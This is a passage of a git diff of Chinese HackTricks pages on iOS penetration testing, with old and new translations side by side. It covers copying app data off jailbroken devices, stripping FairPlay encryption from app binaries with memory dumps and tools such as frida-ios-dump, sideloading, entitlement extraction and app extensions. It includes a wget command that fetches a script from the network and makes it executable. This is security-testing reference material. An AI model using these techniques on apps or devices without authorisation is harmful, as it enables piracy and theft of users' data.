tar czvf /tmp/data.tgz /private/var/mobile/Containers/Data/Application/8C8E7EB0-BC9B-435B-8EF8-8F5560EB0693
|
||||
exit
|
||||
|
@ -68,35 +69,35 @@ scp -P 2222 root@localhost:/tmp/data.tgz .
|
|||
```
|
||||
### **图形用户界面工具**
|
||||
|
||||
**使用 iFunbox 和 iExplorer:** 这些图形用户界面工具可用于管理 iOS 设备上的文件。然而,从 iOS 8.4 开始,除非设备已越狱,否则苹果限制了这些工具对应用沙盒的访问权限。
|
||||
**使用 iFunbox 和 iExplorer:** 这些 GUI 工具对于管理 iOS 设备上的文件非常有用。然而,从 iOS 8.4 开始,苹果限制了这些工具对应用程序沙箱的访问,除非设备越狱。
|
||||
|
||||
### **使用 Objection 进行文件管理**
|
||||
|
||||
**使用 Objection 进行交互式 Shell:** 启动 objection 可访问应用程序的 Bundle 目录。从这里,您可以导航到应用程序的 Documents 目录,并管理文件,包括将它们从 iOS 设备下载和上传。
|
||||
**使用 Objection 的交互式 Shell:** 启动 objection 可以访问应用的 Bundle 目录。从这里,您可以导航到应用的 Documents 目录并管理文件,包括下载和上传文件到 iOS 设备。
|
||||
```bash
|
||||
objection --gadget com.apple.mobilesafari explorer
|
||||
cd /var/mobile/Containers/Data/Application/72C7AAFB-1D75-4FBA-9D83-D8B4A2D44133/Documents
|
||||
file download <filename>
|
||||
```
|
||||
## **获取和提取应用程序**
|
||||
## **获取和提取应用**
|
||||
|
||||
### **获取IPA文件**
|
||||
|
||||
**通过空中下载(OTA)分发链接:** 通过OTA分发的应用程序可以使用ITMS服务资产下载工具进行下载,该工具通过npm安装,并用于将IPA文件保存在本地。
|
||||
**无线分发(OTA)链接:** 通过OTA分发进行测试的应用可以使用ITMS服务资产下载工具下载,该工具通过npm安装并用于将IPA文件保存到本地。
|
||||
```bash
|
||||
npm install -g itms-services
|
||||
itms-services -u "itms-services://?action=download-manifest&url=https://s3-ap-southeast-1.amazonaws.com/test-uat/manifest.plist" -o - > out.ipa
|
||||
```
|
||||
### **提取应用程序二进制文件**
|
||||
|
||||
1. **从IPA文件中:** 解压IPA文件以访问解密的应用程序二进制文件。
|
||||
2. **从越狱设备中:** 安装应用程序并从内存中提取解密后的二进制文件。
|
||||
1. **从IPA文件:** 解压IPA以访问解密的应用程序二进制文件。
|
||||
2. **从越狱设备:** 安装应用程序并从内存中提取解密的二进制文件。
|
||||
|
||||
### **解密过程**
|
||||
|
||||
**手动解密概述:** iOS应用程序二进制文件由苹果使用FairPlay加密。要进行逆向工程,必须从内存中转储解密后的二进制文件。解密过程涉及检查PIE标志,调整内存标志,识别加密部分,然后转储并用解密后的形式替换此部分。
|
||||
**手动解密概述:** iOS应用程序二进制文件由Apple使用FairPlay加密。要进行逆向工程,必须从内存中转储解密的二进制文件。解密过程涉及检查PIE标志、调整内存标志、识别加密部分,然后转储并用其解密形式替换该部分。
|
||||
|
||||
**检查和修改PIE标志:**
|
||||
**检查和修改PIE标志:**
|
||||
```bash
|
||||
otool -Vh Original_App
|
||||
python change_macho_flags.py --no-pie Original_App
|
||||
|
@ -111,29 +112,29 @@ dump memory dump.bin 0x8000 0x10a4000
|
|||
```
|
||||
**覆盖加密部分:**
|
||||
|
||||
用解密的转储数据替换原始应用程序二进制文件中的加密部分。
|
||||
用解密的转储替换原始应用程序二进制文件中的加密部分。
|
||||
```bash
|
||||
dd bs=1 seek=<starting_address> conv=notrunc if=dump.bin of=Original_App
|
||||
```
|
||||
**完成解密:** 使用诸如**MachOView**之类的工具修改二进制文件的元数据,将`cryptid`设置为0,表示没有加密。
|
||||
**最终解密:** 修改二进制文件的元数据以指示没有加密,使用工具如 **MachOView**,将 `cryptid` 设置为 0。
|
||||
|
||||
### **解密(自动)**
|
||||
|
||||
#### **frida-ios-dump**
|
||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump)工具用于从iOS设备中**自动解密和提取应用程序**。首先,必须配置`dump.py`以连接到iOS设备,可以通过**iproxy**在端口2222上通过本地主机连接,也可以直接通过设备的IP地址和端口连接。
|
||||
[**frida-ios-dump**](https://github.com/AloneMonkey/frida-ios-dump) 工具用于 **自动解密和提取 iOS 设备上的应用**。首先,必须配置 `dump.py` 以连接到 iOS 设备,这可以通过 **iproxy** 在本地主机的 2222 端口或直接通过设备的 IP 地址和端口完成。
|
||||
|
||||
可以使用以下命令列出设备上安装的应用程序:
|
||||
可以使用以下命令列出安装在设备上的应用:
|
||||
```bash
|
||||
$ python dump.py -l
|
||||
```
|
||||
要转储特定应用程序,如Telegram,使用以下命令:
|
||||
要转储特定应用程序,例如 Telegram,可以使用以下命令:
|
||||
```bash
|
||||
$ python3 dump.py -u "root" -p "<PASSWORD>" ph.telegra.Telegraph
|
||||
```
|
||||
这个命令启动应用程序转储,导致在当前目录中创建一个`Telegram.ipa`文件。这个过程适用于越狱设备,因为未签名或伪签名的应用可以使用像[ios-deploy](https://github.com/ios-control/ios-deploy)这样的工具重新安装。
|
||||
该命令启动应用程序转储,导致在当前目录中创建一个 `Telegram.ipa` 文件。此过程适用于越狱设备,因为可以使用像 [**ios-deploy**](https://github.com/ios-control/ios-deploy) 这样的工具重新安装未签名或伪签名的应用程序。
|
||||
|
||||
#### **flexdecrypt**
|
||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt)工具及其包装器[**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac)允许从已安装的应用程序中提取IPA文件。在设备上安装**flexdecrypt**的安装命令包括下载和安装`.deb`软件包。**flexdump**可用于列出和转储应用程序,如下所示的命令:
|
||||
[**flexdecrypt**](https://github.com/JohnCoates/flexdecrypt) 工具及其包装器 [**flexdump**](https://gist.github.com/defparam/71d67ee738341559c35c684d659d40ac) 允许从已安装的应用程序中提取 IPA 文件。在设备上安装 **flexdecrypt** 的命令包括下载并安装 `.deb` 包。可以使用 **flexdump** 列出和转储应用程序,如下命令所示:
|
||||
```bash
|
||||
apt install zip unzip
|
||||
wget https://gist.githubusercontent.com/defparam/71d67ee738341559c35c684d659d40ac/raw/30c7612262f1faf7871ba8e32fbe29c0f3ef9e27/flexdump -P /usr/local/bin; chmod +x /usr/local/bin/flexdump
|
||||
|
@ -141,53 +142,54 @@ flexdump list
|
|||
flexdump dump Twitter.app
|
||||
```
|
||||
#### **bagbak**
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak), 另一个基于Frida的工具,需要越狱设备进行应用程序解密:
|
||||
[**bagbak**](https://github.com/ChiChou/bagbak),另一个基于Frida的工具,需要越狱设备进行应用解密:
|
||||
```bash
|
||||
bagbak --raw Chrome
|
||||
```
|
||||
#### **r2flutch**
|
||||
**r2flutch**利用radare和frida,用于应用程序解密和转储。更多信息可以在其[**GitHub页面**](https://github.com/as0ler/r2flutch)找到。
|
||||
**r2flutch**,利用radare和frida,服务于应用程序的解密和转储。更多信息可以在其[**GitHub页面**](https://github.com/as0ler/r2flutch)找到。
|
||||
|
||||
### **安装应用程序**
|
||||
|
||||
**侧载**指的是在官方App Store之外安装应用程序。这一过程由**installd守护程序**处理,并需要应用程序使用由苹果签发的证书进行签名。越狱设备可以通过**AppSync**绕过这一过程,从而可以安装伪签名的IPA包。
|
||||
**侧载**是指在官方App Store之外安装应用程序。此过程由**installd守护进程**处理,并要求应用程序使用Apple签发的证书进行签名。越狱设备可以通过**AppSync**绕过此限制,允许安装伪签名的IPA包。
|
||||
|
||||
#### **侧载工具**
|
||||
|
||||
- **Cydia Impactor**:用于在iOS上签名和安装IPA文件以及在Android上安装APK文件的工具。可以在[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)上找到指南和故障排除信息。
|
||||
- **Cydia Impactor**:用于在iOS上签名和安装IPA文件以及在Android上安装APK文件的工具。指南和故障排除可以在[yalujailbreak.net](https://yalujailbreak.net/how-to-use-cydia-impactor/)找到。
|
||||
|
||||
- **libimobiledevice**:用于Linux和macOS的库,用于与iOS设备通信。提供了用于通过USB安装应用程序的ideviceinstaller的安装命令和使用示例。
|
||||
- **libimobiledevice**:用于Linux和macOS与iOS设备通信的库。提供了通过USB安装应用程序的ideviceinstaller的安装命令和使用示例。
|
||||
|
||||
- **ipainstaller**:这个命令行工具允许直接在iOS设备上安装应用程序。
|
||||
- **ipainstaller**:此命令行工具允许在iOS设备上直接安装应用程序。
|
||||
|
||||
- **ios-deploy**:对于macOS用户,ios-deploy可以通过命令行安装iOS应用程序。解压IPA并使用`-m`标志进行直接应用程序启动是该过程的一部分。
|
||||
- **ios-deploy**:对于macOS用户,ios-deploy可以从命令行安装iOS应用程序。解压IPA并使用`-m`标志直接启动应用程序是该过程的一部分。
|
||||
|
||||
- **Xcode**:利用Xcode通过导航到**Window/Devices and Simulators**并将应用程序添加到**Installed Apps**来安装应用程序。
|
||||
- **Xcode**:使用Xcode通过导航到**Window/Devices and Simulators**并将应用程序添加到**Installed Apps**来安装应用程序。
|
||||
|
||||
#### **允许在非iPad设备上安装应用程序**
|
||||
要在iPhone或iPod touch设备上安装专为iPad设计的应用程序,需要将**Info.plist**文件中的**UIDeviceFamily**值更改为**1**。然而,由于签名验证检查,这种修改需要重新签名IPA文件。
|
||||
要在iPhone或iPod touch设备上安装特定于iPad的应用程序,需要将**Info.plist**文件中的**UIDeviceFamily**值更改为**1**。然而,此修改需要重新签名IPA文件,因为存在签名验证检查。
|
||||
|
||||
**注意**:如果应用程序要求具有较新iPad型号独有的功能,而使用较旧的iPhone或iPod touch,则此方法可能失败。
|
||||
**注意**:如果应用程序要求使用较新iPad型号专有的功能,而使用的是较旧的iPhone或iPod touch,则此方法可能会失败。
|
||||
|
||||
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/](ttps://mas.owasp.org/MASTG/iOS/0x06b-iOS-Security-Testing/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0052/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0053/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0054/)
|
||||
* [https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/](https://mas.owasp.org/MASTG/techniques/ios/MASTG-TECH-0056/)
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 发现[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**上关注**我们。
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,31 +1,32 @@
|
|||
# 从已编译的应用程序中提取权限
|
||||
# 从编译的应用程序中提取权限
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持HackTricks的其他方式:
|
||||
|
||||
* 如果您想看到您的**公司在HackTricks中做广告**或**下载PDF格式的HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方PEASS & HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **加入** 💬 [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我们的**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* 通过向[**HackTricks**](https://github.com/carlospolop/hacktricks)和[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github仓库提交PR来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
|
||||
页面摘要[https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
页面摘要 [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0069/#review-entitlements-embedded-in-the-compiled-app-binary)
|
||||
|
||||
### **提取权限和移动配置文件**
|
||||
### **从应用程序二进制文件中提取权限和移动配置文件**
|
||||
|
||||
当处理应用的IPA文件或越狱设备上安装的应用时,可能无法直接找到`.entitlements`文件或`embedded.mobileprovision`文件。但是,仍然可以从应用二进制文件中提取权限属性列表,按照“iOS基本安全测试”章节中概述的程序,特别是“获取应用程序二进制文件”部分的步骤。
|
||||
在处理应用程序的 IPA 或已安装的越狱设备上的应用程序时,直接找到 `.entitlements` 文件或 `embedded.mobileprovision` 文件可能不可行。然而,权限属性列表仍然可以从应用程序二进制文件中提取,遵循“iOS 基本安全测试”章节中概述的程序,特别是“获取应用程序二进制文件”部分。
|
||||
|
||||
即使是加密的二进制文件,也可以采取一些步骤来提取这些文件。如果这些步骤失败,可能需要使用工具如Clutch(如果与iOS版本兼容)、frida-ios-dump或类似的实用程序来解密和提取应用程序。
|
||||
即使是加密的二进制文件,也可以采用某些步骤来提取这些文件。如果这些步骤失败,可能需要使用 Clutch(如果与 iOS 版本兼容)、frida-ios-dump 或类似工具来解密和提取应用程序。
|
||||
|
||||
#### **从应用程序二进制文件中提取权限Plist**
|
||||
#### **从应用程序二进制文件中提取权限 plist**
|
||||
|
||||
在计算机上可以访问应用程序二进制文件时,可以使用**binwalk**来提取所有XML文件。下面的命令演示了如何执行此操作:
|
||||
在计算机上访问应用程序二进制文件后,可以使用 **binwalk** 提取所有 XML 文件。以下命令演示了如何做到这一点:
|
||||
```bash
|
||||
$ binwalk -e -y=xml ./Telegram\ X
|
||||
|
||||
|
@ -34,19 +35,34 @@ DECIMAL HEXADECIMAL DESCRIPTION
|
|||
1430180 0x15D2A4 XML document, version: "1.0"
|
||||
1458814 0x16427E XML document, version: "1.0"
|
||||
```
|
||||
或者,**radare2** 可以用来静默运行命令并退出,搜索应用程序二进制文件中包含 "PropertyList" 的所有字符串:
|
||||
或者,**radare2** 可以用来安静地运行一个命令并退出,搜索应用程序二进制文件中包含 "PropertyList" 的所有字符串:
|
||||
```bash
|
||||
$ r2 -qc 'izz~PropertyList' ./Telegram\ X
|
||||
|
||||
0x0015d2a4 ascii <?xml version="1.0" encoding="UTF-8" standalone="yes"?>...
|
||||
0x0016427d ascii H<?xml version="1.0" encoding="UTF-8"?>...
|
||||
```
|
||||
Both methods, binwalk and radare2, enable the extraction of `plist` files, with an inspection of the first one (0x0015d2a4) revealing a successful recovery of the [original entitlements file from Telegram](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements).
|
||||
两种方法,binwalk 和 radare2,都可以提取 `plist` 文件,检查第一个文件 (0x0015d2a4) 显示成功恢复了 [Telegram 的原始权限文件](https://github.com/peter-iakovlev/Telegram-iOS/blob/77ee5c4dabdd6eb5f1e2ff76219edf7e18b45c00/Telegram-iOS/Telegram-iOS-AppStoreLLC.entitlements)。
|
||||
|
||||
For app binaries accessed on jailbroken devices (e.g., via SSH), the **grep** command with the `-a, --text` flag can be used to treat all files as ASCII text:
|
||||
对于在越狱设备上访问的应用程序二进制文件(例如,通过 SSH),可以使用带有 `-a, --text` 标志的 **grep** 命令将所有文件视为 ASCII 文本:
|
||||
```bash
|
||||
$ grep -a -A 5 'PropertyList' /var/containers/Bundle/Application/...
|
||||
```
|
||||
调整 `-A num, --after-context=num` 标志允许显示更多或更少行。即使针对加密的应用程序二进制文件,此方法也是可行的,并已针对多个App Store应用进行验证。先前提到的工具也可用于越狱的iOS设备,以实现类似的目的。
|
||||
调整 `-A num, --after-context=num` 标志可以显示更多或更少的行。这种方法即使对于加密的应用程序二进制文件也是可行的,并且已在多个 App Store 应用程序中验证过。前面提到的工具也可以在越狱的 iOS 设备上用于类似的目的。
|
||||
|
||||
**注意**:不建议直接使用 `strings` 命令执行此任务,因为它在查找相关信息方面存在局限性。相反,建议在二进制文件上使用带有 `-a` 标志的 grep 或利用 radare2 (`izz`)/rabin2 (`-zz`) 来获得更有效的结果。
|
||||
**注意**:由于 `strings` 命令在查找相关信息方面的局限性,不建议直接使用该命令来完成此任务。相反,建议在二进制文件上使用带有 `-a` 标志的 grep,或利用 radare2 (`izz`)/rabin2 (`-zz`) 来获得更有效的结果。
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,77 +1,79 @@
|
|||
# iOS 应用扩展
|
||||
# iOS App Extensions
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的公司在 HackTricks 中被广告,或者**下载 PDF 格式的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **在** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** 上关注我们。**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
应用扩展通过允许应用与其他应用或系统进行交互,提供自定义功能或内容,增强了应用的功能。这些扩展包括:
|
||||
应用扩展通过允许应用与其他应用或系统交互,提供自定义功能或内容,从而增强应用的功能。这些扩展包括:
|
||||
|
||||
- **自定义键盘**:在所有应用中提供独特的键盘,替代默认的 iOS 键盘。
|
||||
- **共享**:允许直接与社交网络或其他人分享。
|
||||
- **今日视图(小部件)**:从通知中心的今日视图快速传递内容或执行任务。
|
||||
- **分享**:允许直接与社交网络或其他人分享。
|
||||
- **今日(小部件)**:快速从通知中心的今日视图提供内容或执行任务。
|
||||
|
||||
当用户与这些扩展进行交互时,例如从主机应用程序共享文本,扩展会在其上下文中处理此输入,利用共享的信息执行其任务,详细信息请参阅 Apple 的文档。
|
||||
当用户与这些扩展互动时,例如从主应用分享文本,扩展在其上下文中处理此输入,利用共享的信息来执行其任务,具体细节见苹果的文档。
|
||||
|
||||
### **安全考虑**
|
||||
|
||||
关键的安全方面包括:
|
||||
|
||||
- 扩展及其包含的应用程序通过进程间通信进行通信,而不是直接通信。
|
||||
- **今日小部件**是独特的,因为它可以请求其应用程序通过特定方法打开。
|
||||
- 允许在私有容器内共享数据访问,但限制直接访问。
|
||||
- 某些 API,包括 HealthKit,对应用程序扩展是禁止的,应用程序扩展也不能启动长时间运行的任务,访问相机或麦克风,除了 iMessage 扩展。
|
||||
- 扩展及其包含的应用通过进程间通信进行通信,而不是直接通信。
|
||||
- **今日小部件**的独特之处在于它可以通过特定方法请求其应用打开。
|
||||
- 共享数据访问在私有容器内是允许的,但直接访问受到限制。
|
||||
- 某些 API,包括 HealthKit,对应用扩展是禁用的,应用扩展也不能启动长时间运行的任务,访问相机或麦克风,除了 iMessage 扩展。
|
||||
|
||||
### 静态分析
|
||||
|
||||
#### **识别应用程序扩展**
|
||||
#### **识别应用扩展**
|
||||
|
||||
要在源代码中查找应用程序扩展,请在 Xcode 中搜索 `NSExtensionPointIdentifier`,或检查应用程序包中指示扩展的 `.appex` 文件。如果没有源代码,请使用 grep 或 SSH 在应用程序包中定位这些标识符。
|
||||
要在源代码中找到应用扩展,请在 Xcode 中搜索 `NSExtensionPointIdentifier` 或检查应用包中的 `.appex` 文件以指示扩展。如果没有源代码,可以使用 grep 或 SSH 在应用包中定位这些标识符。
|
||||
|
||||
#### **支持的数据类型**
|
||||
|
||||
检查扩展的 `Info.plist` 文件以查找 `NSExtensionActivationRule`,以识别支持的数据类型。这种设置确保只有兼容的数据类型会触发主机应用程序中的扩展。
|
||||
检查扩展的 `Info.plist` 文件中的 `NSExtensionActivationRule` 以识别支持的数据类型。此设置确保只有兼容的数据类型在主应用中触发扩展。
|
||||
|
||||
#### **数据共享**
|
||||
|
||||
应用程序与其扩展之间的数据共享需要一个共享容器,通过“应用程序组”进行设置,并通过 `NSUserDefaults` 访问。这个共享空间对于扩展发起的后台传输是必要的。
|
||||
应用与其扩展之间的数据共享需要一个共享容器,通过“应用组”设置,并通过 `NSUserDefaults` 访问。这个共享空间对于扩展发起的后台传输是必要的。
|
||||
|
||||
#### **限制扩展**
|
||||
|
||||
应用程序可以限制某些扩展类型,特别是自定义键盘,确保敏感数据处理符合安全协议。
|
||||
应用可以限制某些扩展类型,特别是自定义键盘,确保敏感数据处理符合安全协议。
|
||||
|
||||
### 动态分析
|
||||
|
||||
动态分析包括:
|
||||
|
||||
- **检查共享项目**:钩入 `NSExtensionContext - inputItems`,查看共享的数据类型和来源。
|
||||
- **检查共享项目**:钩入 `NSExtensionContext - inputItems` 以查看共享数据类型和来源。
|
||||
- **识别扩展**:通过观察内部机制(如 `NSXPCConnection`)发现哪些扩展处理您的数据。
|
||||
|
||||
像 `frida-trace` 这样的工具可以帮助理解底层进程,特别是对于那些对进程间通信的技术细节感兴趣的人。
|
||||
像 `frida-trace` 这样的工具可以帮助理解底层过程,特别是对于那些对进程间通信的技术细节感兴趣的人。
|
||||
|
||||
## 参考资料
|
||||
## 参考文献
|
||||
* [https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/](https://mas.owasp.org/MASTG/iOS/0x06h-Testing-Platform-Interaction/)
|
||||
* [https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/](https://mas.owasp.org/MASTG/tests/ios/MASVS-PLATFORM/MASTG-TEST-0072/)
|
||||
|
||||
{% hint style="success" %}
|
||||
学习和实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习和实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
支持 HackTricks 的其他方式:
|
||||
|
||||
* 如果您想看到您的公司在 HackTricks 中被广告,或者**下载 PDF 格式的 HackTricks**,请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* 探索[**PEASS 家族**](https://opensea.io/collection/the-peass-family),我们的独家[**NFT**](https://opensea.io/collection/the-peass-family)收藏品
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live) 上 **关注**我们**。**
|
||||
* 通过向 [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享您的黑客技巧。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
